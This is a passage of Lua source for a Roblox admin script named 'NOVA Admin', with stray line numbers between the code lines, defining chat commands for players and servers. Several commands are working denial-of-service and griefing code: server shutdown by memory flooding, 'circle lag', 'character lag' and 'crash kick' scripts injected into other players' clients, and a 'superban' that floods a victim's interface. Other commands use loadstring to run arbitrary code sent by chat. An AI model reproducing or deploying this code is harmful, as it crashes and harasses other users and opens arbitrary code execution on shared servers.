AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>",
4062
    function(Msg,Speaker)
4063
            coroutine.resume(coroutine.create(function()
4064
            NOVA.Services.Lighting.TimeOfDay = 0
4065
            NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
4066
            NOVA.Services.Lighting.Brightness = 0
4067
            NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
4068
            NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
4069
            NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
4070
4071
            for _,v in pairs(GetRecursiveChildren(workspace)) do
4072
                if v:IsA("BasePart") then
4073
                    Sel = Instance.new("SelectionBox",v)
4074
                    Sel.Color = BrickColor.new("Really red")
4075
                    Sel.Transparency = 0
4076
                    Sel.Adornee = v
4077
                end
4078
            end
4079
            for i=10,1,-1 do
4080
                NOVA.Sounds.Sound.Parent = workspace
4081
                NOVA.Sounds.Sound.Volume = 1
4082
                NOVA.Sounds.Sound.Pitch = 1
4083
                NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866"
4084
                wait(1)
4085
                NOVA.Sounds.Sound:Play()
4086
                if NOVA.Overrided == true then return end
4087
            end
4088
            for i=5,1,-1 do
4089
                NOVA.Sounds.Sound.Parent = workspace
4090
                NOVA.Sounds.Sound.Volume = 1
4091
                NOVA.Sounds.Sound.Pitch = 1
4092
                NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i]
4093
                wait(1)
4094
                NOVA.Sounds.Sound:Play()
4095
                if NOVA.Overrided == true then return end
4096
            end
4097
            wait(1)
4098
        
4099
	Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000)
4100
	wait(1)
4101
        Instance.new("ManualSurfaceJointInstance",workspace)
4102
        end))
4103
    end
4104
)
4105
4106
AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>",
4107
    function(Msg,Speaker)
4108
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4109
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4110
                Output("Attempt to get rid of the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4111
            else
4112
                pcall(function() 
4113
                    GetRidOf(v)
4114
                end)
4115
            end
4116
        end
4117
    end
4118
)
4119
4120
AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments",
4121
    function(Msg,Speaker)
4122
        coroutine.resume(coroutine.create(function()
4123
            for _,v in pairs(NOVA.Sounds.Numbers) do
4124
                NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
4125
                NOVA.Sounds.Sound.SoundId = v
4126
                NOVA.Sounds.Sound.Volume = 0
4127
                wait()
4128
                NOVA.Sounds.Sound:Play()
4129
                wait()
4130
                NOVA.Sounds.Sound:Stop()
4131
                wait(1)
4132
            end
4133
            for _,v in pairs(NOVA.Sounds.PlayAfter) do
4134
                NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
4135
                NOVA.Sounds.Sound.SoundId = v
4136
                NOVA.Sounds.Sound.Volume = 0
4137
                wait()
4138
                NOVA.Sounds.Sound:Play()
4139
                wait()
4140
                NOVA.Sounds.Sound:Stop()
4141
                wait(1)
4142
            end
4143
            NOVA.Sounds.Sound.Volume = 1
4144
        end))
4145
    end
4146
)
4147
4148
AddCommand("Target","targ",6,"Targets the selected player.","<Player>",
4149
    function(Msg,Speaker)
4150
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4151
            table.insert(NOVA.Targeted,v)
4152
            for _,part in pairs(GetRecursiveChildren(v.Character)) do
4153
                if part:IsA("Part") then
4154
                    coroutine.resume(coroutine.create(function()
4155
                        local SB = Instance.new("SelectionBox",part)
4156
                        SB.Name = "NOVA Target Selection Box"
4157
                        SB.Color = BrickColor.new(NOVA.Colors.Yellow)
4158
                        SB.Adornee = part
4159
                        wait(3)
4160
                        SB:remove()
4161
                    end))
4162
                end
4163
            end
4164
        end
4165
    end
4166
)
4167
4168
AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>",
4169
    function(Msg,Speaker)
4170
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4171
            for i=1,#NOVA.Targeted do
4172
                if NOVA.Targeted[i] == v then
4173
                    table.remove(NOVA.Targeted,i)
4174
                end
4175
            end
4176
        end
4177
    end
4178
)
4179
4180
AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments",
4181
    function(Msg,Speaker)
4182
        CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack)
4183
    end
4184
)
4185
4186
AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments",
4187
    function(Msg,Speaker)
4188
        CreateLocalScript([[
4189
	
4190
	 LocalPlayer = game:GetService("Players").LocalPlayer
4191
script.Parent = LocalPlayer
4192
            NOVA = {
4193
		      Bet = "/";
4194
                Services = {
4195
                    Workspace = game:GetService("Workspace");
4196
                    Lighting = game:GetService("Lighting");
4197
                    Debris = game:GetService("Debris");
4198
                    Players = game:GetService("Players");
4199
                    Teams = game:GetService("Teams");
4200
                    SoundService = game:GetService("SoundService");
4201
                    StarterGui = game:GetService("StarterGui");
4202
                    StarterPack = game:GetService("StarterPack");
4203
                };
4204
               
4205
                Camera = workspace.CurrentCamera;
4206
                LocalCharacter = Instance.new("Model");
4207
                LocalHead = Instance.new("Part");
4208
                LocalFire = Instance.new("Fire");
4209
            }
4210
            script.Name = NOVA.LocalPlayer.Name
4211
            script.Parent = nil
4212
            repeat wait() until NOVA.LocalPlayer.Parent == nil
4213
            game.Players.LocalPlayer.Chatted:connect(function(Msg)
4214
            if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then
4215
                    game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2))
4216
                    
4217
                    if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then
4218
                        game:GetService'TeleportService':Teleport(game.PlaceId)
4219
                    end
4220
                    if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then
4221
                        pcall(function() 
4222
                            newScript(Msg:sub(4),workspace)
4223
                        end)
4224
                    end
4225
                    if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then
4226
                        coroutine.resume(coroutine.create(function()
4227
                            pcall(function()
4228
                                loadstring(Msg:sub(8))()
4229
                            end)
4230
                        end))
4231
                    end
4232
                    if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then
4233
                        LocalPlayer.Character = workspace
4234
                    end
4235
                end
4236
            end)
4237
            
4238
            NOVA.LocalPlayer.Character = nil
4239
            NOVA.LocalHead.FormFactor = "Custom"
4240
            NOVA.LocalHead.Size = Vector3.new(3,3,3)
4241
            NOVA.LocalHead.Reflectance = 1e+999
4242
            NOVA.LocalHead.Shape = "Ball"
4243
            NOVA.LocalHead.Anchored = true
4244
            NOVA.LocalHead.CanCollide = false
4245
            NOVA.LocalHead.Transparency = 0
4246
            NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name
4247
            
4248
            NOVA.LocalFire.Color = Color3.new(0,0,0)
4249
            NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0)
4250
            NOVA.LocalFire.Heat = 12
4251
            NOVA.LocalFire.Size = 7    
4252
4253
            while wait() do
4254
                pcall(function()
4255
                    NOVA.LocalCharacter.Parent=workspace
4256
                    NOVA.LocalHead.Parent = NOVA.LocalCharacter
4257
                    NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125)
4258
                    NOVA.LocalFire.Parent = NOVA.LocalHead
4259
                end)
4260
            end
4261
        ]],Speaker.Backpack)
4262
    end
4263
)
4264
4265
4266
AddCommand("Script","c",6,"Pseudo scripting command.","<Source>",
4267
    function(Msg,Speaker)
4268
        CreateScript(Msg,workspace)
4269
    end
4270
)
4271
4272
AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>",
4273
    function(Msg,Speaker)
4274
        for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
4275
            CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
4276
        end
4277
    end
4278
)
4279
4280
AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>",
4281
    function(Msg,Speaker)
4282
        for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
4283
            CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
4284
        end
4285
    end
4286
)
4287
4288
AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>",
4289
    function(Msg,Speaker)
4290
        CreateLocalScript(Msg,Speaker.Backpack)
4291
    end
4292
)
4293
4294
AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments",
4295
    function(Msg,Speaker)
4296
        for _,v in pairs(GetRecursiveChildren(workspace)) do
4297
            pcall(function()
4298
                v.Transparency = 7.3015691270939e-002
4299
            end)
4300
        end
4301
    end
4302
)
4303
4304
AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>",
4305
    function(Msg,Speaker)
4306
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4307
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4308
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4309
            else
4310
                pcall(function() 
4311
                    CreateLocalScript([==[
4312
                        LocalPlayer = game:GetService("Players").LocalPlayer
4313
                        Camera = workspace.CurrentCamera
4314
                        while wait() do
4315
                            for i=1,10 do
4316
                                Part = Instance.new("Seat",Camera)
4317
                                Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20))
4318
                                Part.Shape = "Ball"
4319
                                Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
4320
                                Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250))
4321
                            end
4322
                        end
4323
                    ]==],v.Backpack)
4324
                end)
4325
            end
4326
        end
4327
    end
4328
)
4329
4330
AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>",
4331
    function(Msg,Speaker)
4332
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4333
            CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack)
4334
        end
4335
    end
4336
)
4337
4338
AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>",
4339
    function(Msg,Speaker)
4340
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4341
            for _,GUI in pairs(v.PlayerGui:children()) do
4342
                GUI:Clone().Parent = Speaker.PlayerGui
4343
            end
4344
        end
4345
    end
4346
)
4347
4348
AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments",
4349
    function(Msg,Speaker)
4350
        for _,v in pairs(NOVA.Targeted) do
4351
            for _,part in pairs(GetRecursiveChildren(v.Character)) do
4352
                if part:IsA("Part") then
4353
                    coroutine.resume(coroutine.create(function()
4354
                        local SB = Instance.new("SelectionBox",part)
4355
                        SB.Name = "NOVA Target Selection Box"
4356
                        SB.Color = BrickColor.new(NOVA.Colors.Yellow)
4357
                        SB.Adornee = part
4358
                        wait(3)
4359
                        SB:remove()
4360
                    end))
4361
                end
4362
            end
4363
        end
4364
    end
4365
)
4366
4367
AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>",
4368
    function(Msg,Speaker)
4369
        if Msg:sub(1,4) == "add" .. NOVA.Bet then
4370
            Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5))
4371
        elseif Msg:sub(1,4) == "set" .. NOVA.Bet then
4372
            Speaker:SaveString("NoteToSelf",Msg:sub(5))
4373
        elseif Msg == "see" then
4374
            Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker)
4375
        end
4376
    end
4377
)
4378
4379
AddCommand("Smite","smite",6,"Smites the selected player.","<Player>",
4380
    function(Msg,Speaker)
4381
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4382
            local Char = v.Character
4383
            local Smite = Instance.new("Part",workspace)
4384
            Smite.FormFactor = "Custom"
4385
            Smite.TopSurface = "Smooth"
4386
            Smite.BottomSurface = "Smooth"
4387
            Smite.Anchored = true
4388
            Smite.Locked = true
4389
            Smite.Size = Vector3.new(25,3,25)
4390
            Smite.BrickColor = BrickColor.new("New Yeller")
4391
            Smite.Transparency = 1
4392
            Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
4393
            for i=1,0,-0.05 do
4394
                wait()
4395
                Smite.Transparency = i
4396
            end
4397
            coroutine.resume(coroutine.create(function()
4398
                for i=0,1,0.05 do
4399
                    wait()
4400
                    Smite.Transparency = i
4401
                end
4402
                Smite:remove()
4403
            end))
4404
            wait()
4405
            local Expl = Instance.new("Explosion",workspace)
4406
            Expl.Position = Smite.Position
4407
            Expl.BlastPressure = 1000000000
4408
            
4409
            for _,Part in pairs(GetRecursiveChildren(Char)) do
4410
                if Part:IsA("BasePart") then
4411
                    coroutine.resume(coroutine.create(function()
4412
                        for i=1,10 do
4413
                            local Sparkles = Instance.new("Sparkles",Part)
4414
                            Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4415
                            local Fire = Instance.new("Fire",Part)
4416
                            Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4417
                            Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4418
                        end
4419
                        Part:BreakJoints()
4420
                        local BP = Instance.new("BodyPosition",Part)
4421
                        BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
4422
                        BP.P = 1000
4423
                        BP.position = Part.Position + Vector3.new(
4424
                            math.random(-100,100),
4425
                            100,
4426
                            math.random(-100,100))
4427
                        wait(3)
4428
                        local Expl = Instance.new("Explosion",workspace)
4429
                        Expl.Position = Part.Position
4430
                        Expl.BlastPressure = 1000000000
4431
                    end))
4432
                end
4433
            end
4434
        end
4435
    end
4436
)
4437
AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>",
4438
    function(Msg,Speaker)
4439
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4440
            pcall(function()
4441
	v.Character.Pants:Remove()
4442
	v.Character.Shirt:Remove()
4443
            end)
4444
        end
4445
    end
4446
)
4447
4448
AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>",
4449
    function(Msg,Speaker)
4450
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4451
		
4452
                        v.Character.Humanoid.Changed:connect(function(val)
4453
                                if val == "Health" then
4454
                                        v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
4455
                                end
4456
4457
			
4458
             end)
4459
        end
4460
    end
4461
)
4462
4463
AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>",
4464
    function(Msg,Speaker)	
4465
	NOVA.Bet = Msg
4466
    end
4467
)
4468
AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>",
4469
    function(Msg,Speaker)
4470
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4471
            
4472
            coroutine.resume(coroutine.create(function() 
4473
				while wait() do
4474
            for i = 1, 100 do
4475
            if v:findFirstChild("PlayerGui") ~= nil then
4476
            local mes = Instance.new("Message", v.PlayerGui)
4477
            mes.Text = "Crashing"
4478
            local ex = Instance.new("Explosion", v.PlayerGui)
4479
            ex.BlastRadius = math.huge
4480
            local hint = Instance.new("Hint", v.PlayerGui)
4481
            hint.Text = "---------------------------------------------------------------------------"
4482
            local s = Instance.new("ScreenGui", v.PlayerGui)
4483
            local txt = Instance.new("TextBox", s)
4484
            txt.Size = UDim2.new(1, 0, 1, 0)
4485
            txt.Text = "Your Being Lagged"
4486
            txt.FontSize = "Size48"
4487
            end
4488
            end
4489
				end
4490
            end))
4491
        end
4492
    end
4493
)
4494
AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>",
4495
    function(Msg,Speaker)
4496
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4497
            pcall(function()
4498
            v.Chatted:connect(function(Msg)
4499
            local m = Instance.new("Explosion",v.Character.Head)
4500
            m.Position = v.Character.Head.Position
4501
            end)
4502
            end)
4503
        end
4504
    end
4505
)
4506
AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>",
4507
    function(Msg,Speaker)
4508
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4509
            pcall(function()
4510
                for _,Part in pairs(GetRecursiveChildren(v.Character)) do
4511
                    if Part:IsA("BasePart") then
4512
                        for i=1,10 do
4513
                            local Sparkles = Instance.new("Sparkles",Part)
4514
                            Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4515
                            local Fire = Instance.new("Fire",Part)
4516
                            Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4517
                            Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
4518
                        end
4519
                    end
4520
                end
4521
            end)
4522
        end
4523
    end
4524
)
4525
4526
AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments",
4527
    function(Msg,Speaker)
4528
        if NOVA.ShowChat == true then 
4529
            NOVA.ShowChat = false
4530
        elseif NOVA.ShowChat == false then
4531
            NOVA.ShowChat = true
4532
        end
4533
    end
4534
)
4535
4536
4537
AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>",
4538
    function(Msg,Speaker)
4539
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4540
            if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
4541
                Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4542
            else
4543
                pcall(function() 
4544
                    CreateLocalScript([[
4545
                        script.Parent = workspace.CurrentCamera
4546
                        while wait() do
4547
                            coroutine.resume(coroutine.create(function()
4548
                                for i=1,math.huge do
4549
                                    wait()
4550
                                    for i=1,10 do
4551
                                        NS = script:Clone()
4552
                                        NS.Disabled = true
4553
                                        NS.Parent = game:GetService("Players").LocalPlayer.Backpack
4554
                                        NS.Disabled = false
4555
                                    end
4556
                                    for i=1,10 do
4557
                                        game:GetService("Players").LocalPlayer.Character.Archivable = true
4558
                                        local Clone = game:GetService("Players").LocalPlayer.Character:Clone()
4559
                                        Clone.Parent = workspace.CurrentCamera
4560
                                    end
4561
                                end
4562
                            end))
4563
                        end]],
4564
                    v.Backpack)
4565
                end)
4566
            end
4567
        end
4568
    end
4569
)
4570
4571
4572
4573
AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>",    
4574
    function(Msg,Speaker)
4575
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4576
            pcall(function()
4577
                v.Character.Humanoid.PlatformStand = true
4578
            end)
4579
        end
4580
    end
4581
)
4582
4583
AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>",    
4584
    function(Msg,Speaker)
4585
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4586
            pcall(function()
4587
                v.Character.Humanoid.PlatformStand = false
4588
            end)
4589
        end
4590
    end
4591
)
4592
4593
AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>",
4594
    function(Msg,Speaker)
4595
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4596
            pcall(function()
4597
                for _,Tool in pairs(v.Backpack:GetChildren()) do
4598
                    Tool:Clone().Parent = Speaker.Backpack
4599
                end
4600
            end)
4601
        end
4602
    end
4603
)
4604
AddCommand("SuperBan","sban",4,"Superbans that player.","<Player>",
4605
    function(Msg,Speaker)
4606
            for _,v in pairs(GetPlayers(Msg,Speaker)) do
4607
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
4608
                Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
4609
            else
4610
                pcall(function() 
4611
	
4612
                    GetRankedTable(v).Rank = -1
4613
                    SyncRankOutSingular(v)
4614
		    Instance.new("StringValue",v.PlayerGui).Value:rep("Shutdown and be banned nub",1000000)
4615
                end)
4616
            end
4617
        end
4618
    end
4619
)
4620
4621
AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>",
4622
    function(Msg,Speaker)
4623
        local Give = {}
4624
        for _,v in pairs(NOVA.Services.Lighting:children()) do
4625
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
4626
                function()
4627
                    table.insert(Give,v:Clone())
4628
                end
4629
            )
4630
        end
4631
        Output("Done",NOVA.Colors.Green,Speaker,nil,
4632
            function()
4633
                for _,v in pairs(GetPlayers(Msg,Speaker)) do
4634
                    for _,Tool in pairs(Give) do
4635
                        Tool:Clone().Parent = v.Backpack
4636
                    end
4637
                end
4638
                RemoveTablets(Speaker)
4639
            end
4640
        )
4641
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4642
    end
4643
)
4644
4645
AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments",
4646
    function(Msg,Speaker)
4647
        pcall(function()
4648
            for _,Tool in pairs(Speaker.Backpack:children()) do
4649
                Tool:Clone().Parent = NOVA.Services.Lighting
4650
            end
4651
        end)
4652
    end
4653
)
4654
4655
AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>",
4656
    function(Msg,Speaker)
4657
        Split = GetSplit(Msg)
4658
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
4659
            if v:FindFirstChild("PlayerGui") ~= nil then
4660
                makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui)
4661
            end
4662
        end
4663
    end
4664
)
4665
4666
AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments",
4667
    function(Msg,Speaker)
4668
        local Data = GetRankedTable(Speaker)
4669
        Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker)
4670
        Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker)
4671
        Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil,
4672
            function()
4673
                RemoveTablets(Speaker)
4674
                OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker)
4675
            end
4676
        )
4677
        Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker)
4678
        Output("How to use commands.",Data.Color,Speaker,nil,
4679
            function()
4680
                RemoveTablets(Speaker)
4681
                Output("To use a command you use 1 slash then the arguments seperated by a slash.",Data.Color,Speaker)
4682
                Output("Please note it is a slash ( located below/around the 'Return'/'Enter'  key on your keyboard, and near the 'Shift' key below 'Enter' on your keyboard.",Data.Color,Speaker)
4683
                Output("Example : " .. NOVA.Bet.. "kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker)
4684
                Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end)
4685
            end
4686
        )
4687
        Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker)
4688
        Output("Thank you for using NOVA Admin. ( edited by t".."u".."s".."K".."O".."r".."6".."6".."1" .. ")" ,Data.Color,Speaker)
4689
 end
4690
)
4691
4692
AddCommand("Break","break",7,"Breaks all scripts in workspace.","No Arguments",
4693
    function(Msg,Speaker)
4694
        for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
4695
            if v:IsA("Script") then
4696
                v.Disabled = true
4697
                v.Parent = NOVA.Services.Debris
4698
                v.Disabled = true
4699
                v:Destroy()
4700
                v.Parent = NOVA.Services.Debris
4701
                v.Disabled = true
4702
                v:Destroy()
4703
            end
4704
        end
4705
    end
4706
)
4707
4708
AddCommand("Execute","exe",6,"Loads the following string.","<Source>",
4709
    function(Msg,Speaker)
4710
        if Msg == nil or #Msg == 0 then
4711
            RemoveTablets(Speaker)
4712
            local Data = GetRankedTable(Speaker)
4713
            for _,v in pairs(Data.Executeables:children()) do
4714
                Output(v.Name,Data.Color,Speaker,nil,
4715
                    function()
4716
                        local a,b=coroutine.resume(coroutine.create(function() loadstring([[
4717
                            --[=[NOVA Internal Executeable Script ]=]--
4718
                            Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[") 
4719
                        ]] .. v.Value .. [[]])() end))
4720
                        if not a then
4721
                            Output(b,NOVA.Colors.Red,Speaker,15)
4722
                        else
4723
                            Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5)
4724
                        end
4725
                    end
4726
                )
4727
            end
4728
            Output("Dismiss",NOVA.Colors.Red,Speaker)
4729
        else
4730
            Source = Msg
4731
            --Source = string.gsub(Source,"print(","PrintS(")
4732
            --Source = string.gsub(Source,"print'","PrintS'")
4733
            local a,b=coroutine.resume(coroutine.create(function() loadstring([[Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[") ]] .. Source)() end))
4734
            if not a then
4735
                Output(b,NOVA.Colors.Red,Speaker,15)
4736
            else
4737
                Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5)
4738
            end
4739
        end
4740
    end
4741
)
4742
4743
AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments",
4744
    function(Msg,Speaker)
4745
        pcall(function()
4746
            CreateLocalScript([[
4747
                game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera
4748
                ]],
4749
                Speaker.Backpack)
4750
            
4751
        end)
4752
    end
4753
)
4754
4755
AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>",
4756
    function(Msg,Speaker)
4757
        pcall(function()
4758
            NOVA.Sounds.Sound.Pitch = tonumber(Msg)
4759
        end)
4760
    end
4761
)
4762
AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>",
4763
    function(Msg,Speaker)
4764
        pcall(function()
4765
            NOVA.Sounds.Sound.Looped = Msg
4766
        end)
4767
    end
4768
)
4769
AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments",
4770
    function(Msg,Speaker)
4771
        Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end)
4772
    end
4773
)
4774
AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>",
4775
    function(Msg,Speaker)
4776
        local Give = {}
4777
        for _,v in pairs(NOVA.Plugins) do
4778
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
4779
                function()
4780
                    table.insert(Give,v:Clone())
4781
                end
4782
            )
4783
        end
4784
        Output("Done",NOVA.Colors.Green,Speaker,nil,
4785
            function()
4786
                for _,v in pairs(GetPlayers(Msg,Speaker)) do
4787
                    for _,Tool in pairs(Give) do
4788
                        New = Tool:Clone()
4789
                        New.Parent = v.Backpack
4790
                        pcall(function()
4791
                            New.Disabled = false
4792
                        end)
4793
                    end
4794
                end
4795
                RemoveTablets(Speaker)
4796
            end
4797
        )
4798
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4799
    end
4800
)
4801
AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>",
4802
    function(Msg,Speaker)
4803
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4804
            pcall(function()
4805
                for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
4806
                    part.Locked = true
4807
                end
4808
            end)
4809
        end
4810
    end
4811
)
4812
AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>",
4813
    function(Msg,Speaker)
4814
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4815
            pcall(function()
4816
                for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
4817
                    part.Locked = false
4818
                end
4819
            end)
4820
        end
4821
    end
4822
)
4823
AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>",
4824
    function(Msg,Speaker)
4825
        Split = GetSplit(Msg)
4826
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
4827
            pcall(function()
4828
                CreateLocalScript(Msg:sub(Split+1),v.Backpack)
4829
            end)
4830
        end
4831
    end
4832
)
4833
AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>",
4834
    function(Msg,Speaker)
4835
        NOVA.Services.Lighting.Brightness = tonumber(Msg)
4836
    end
4837
)
4838
AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>",
4839
    function(Msg,Speaker)
4840
        pcall(function()
4841
            Rtn = CFrame.new(
4842
                Speaker.Character.Torso.CFrame.x,
4843
                Speaker.Character.Torso.CFrame.y,
4844
                Speaker.Character.Torso.CFrame.z
4845
            )
4846
            table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn})
4847
        end)
4848
    end
4849
)
4850
AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments",
4851
    function(Msg,Speaker)
4852
        for _,v in pairs(NOVA.Waypoints) do
4853
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
4854
                pcall(function()
4855
                    RemoveTablets(Speaker)
4856
